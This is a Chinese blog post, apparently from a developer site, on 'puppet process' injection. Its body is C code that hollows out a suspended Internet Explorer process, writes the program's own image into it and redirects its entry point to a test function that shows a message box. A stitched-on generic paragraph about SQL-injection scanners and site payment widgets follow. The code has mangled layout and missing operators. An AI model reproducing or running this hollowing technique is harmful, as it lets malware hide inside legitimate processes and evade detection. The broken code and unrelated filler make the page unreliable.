傀儡进程

#include "stdafx.h"
#include <windows.h>
typedef long NTSTATUS;
typedef NTSTATUS (__stdcall *pfnZwUnmapViewOfSection)(
        
IN HANDLE ProcessHandle,
        
IN LPVOID BaseAddress
        
);
BOOL CreateIEProcess();
PROCESS_INFORMATION pi  = {0};
DWORD GetCurModuleSize(DWORD dwModuleBase);
DWORD GetRemoteProcessImageBase(DWORD dwPEB);
DWORD GetNewEntryPoint();
void TestFunc();
//
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

int _tmain(int argc_TCHARargv[])
{
        
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
                
GetModuleHandleA("ntdll.dll"),"ZwUnmapViewOfSection");
        
printf("ZwUnmapViewOfSection : 0x%08X.\n",ZwUnmapViewOfSection);
        
if ( !ZwUnmapViewOfSection )
         {
                
printf("Get ZwUnmapViewOfSection Error.\n");
                
goto __exit;
         }
        
if ( !CreateIEProcess() )
         {
                
goto __exit;
         }

        
printf("TargetProcessId : %d.\n",pi.dwProcessId);

        
HMODULE hModuleBase GetModuleHandleA(NULL);
        
printf("hModuleBase : 0x%08X.\n",hModuleBase);
        
DWORD dwImageSize GetCurModuleSize((DWORD)hModuleBase);
        
printf("ModuleSize : 0x%08X\n",dwImageSize);
        
        
CONTEXT ThreadCxt;
        
ThreadCxt.ContextFlags CONTEXT_FULL|CONTEXT_DEBUG_REGISTERS;

        GetThreadContext(pi.hThread,&ThreadCxt);
        
printf("Target PEB Addr : 0x%08X.\n",ThreadCxt.Ebx);
        
DWORD dwRemoteImageBase GetRemoteProcessImageBase(ThreadCxt.Ebx);
        
printf("RemoteImageBase : 0x%08X.\n",dwRemoteImageBase);
        
        
ZwUnmapViewOfSection(pi.hProcess,(LPVOID)dwRemoteImageBase);

        
LPVOID lpAlloAddr VirtualAllocEx(
                
pi.hProcess,
                
hModuleBase,
                
dwImageSize,
                
MEM_RESERVE MEM_COMMIT,
                
PAGE_EXECUTE_READWRITE
                
);
        
if lpAlloAddr )
         {
                
printf("Alloc Remote Addr OK.\n");
         }
        
else
        
{
                
printf("Alloc Remote Addr Error.\n");
         }

        
WriteProcessMemory(
                
pi.hProcess,hModuleBase,
                
hModuleBase,dwImageSize,NULL );
        
printf("Write Image data OK.\n");
        
ThreadCxt.ContextFlags CONTEXT_FULL;
        
ThreadCxt.Eax GetNewEntryPoint();
        
SetThreadContext(pi.hThread,&ThreadCxt);
        
ResumeThread(pi.hThread);
        
printf("finished.\n");
__exit:
        
//TerminateProcess(pi.hProcess,0);
        
system("pause");
        
return 0;
}

BOOL CreateIEProcess()
{
        
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
        
STARTUPINFO si = {0};
        
si.cb sizeof(si);
        
BOOL bRet;

        
bRet CreateProcessW(
                
NULL,wszIePath,
                
NULL,NULL,FALSE,CREATE_SUSPENDED,
                
NULL,NULL,
                 &
si,&pi );
        
if bRet )
                
printf("Create IE Ok.\n");
        
else
                
printf("Create IE error.\n");
        
return bRet;
}

DWORD GetCurModuleSize(DWORD dwModuleBase)
{
        
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
        
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase pDosHdr->e_lfanew);
        
return pNtHdr->OptionalHeader.SizeOfImage;
}

DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
        
DWORD dwBaseRet;
        
ReadProcessMemory(pi.hProcess,(LPVOID)(dwPEB+8),&dwBaseRet,sizeof(DWORD),NULL);
        
return dwBaseRet;
/*
lkd> dt_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged     : UChar
+0x003 BitField          : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 SpareBits         : Pos 1, 7 Bits
+0x004 Mutant            : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
*/
}

DWORD GetNewEntryPoint()
{
        
return (DWORD)TestFunc;
}

void TestFunc()
{
        
MessageBoxA(0,"Injected OK","123",0);
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
傀儡SQL注入批量扫描工具是一种用于检测和扫描网站是否存在傀儡SQL注入漏洞的软件工具。傀儡SQL注入是一种常见的网络安全漏洞,攻击者可以利用该漏洞来获取数据库中的敏感信息,或者更严重的情况下,完全控制受攻击的网站。 这种工具的工作原理是自动化扫描一系列的URL链接,检查这些链接是否存在傀儡SQL注入漏洞。工具会自动发送带有特殊注入代码的请求,以尝试从数据库中获取未经授权的数据。如果网站存在注入漏洞,工具将会提供相应的警报或报告。 使用傀儡SQL注入批量扫描工具的好处是可以快速发现并修复潜在的漏洞。通过自动化扫描,工具可以在短时间内检查大量的URL链接,从而节省了人工扫描的时间和精力。同时,工具还可以提供详细的报告,包括漏洞的类型、位置和可能的危害程度,帮助网站管理员更好地了解漏洞的风险,并采取相应的措施进行修复。 然而,傀儡SQL注入批量扫描工具只是发现漏洞的工具,不能替代人工的安全评估和修复过程。因此,在使用这种工具时,网站管理员仍然需要监测并验证扫描结果,确保没有误报或漏报。此外,修复漏洞也需要采取正确的措施,例如升级软件、过滤输入等,才能有效地防范傀儡SQL注入攻击。 总之,傀儡SQL注入批量扫描工具在网络安全领域发挥着重要的作用,可以帮助网站管理员快速发现和修复潜在的傀儡SQL注入漏洞,从而提高网站的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值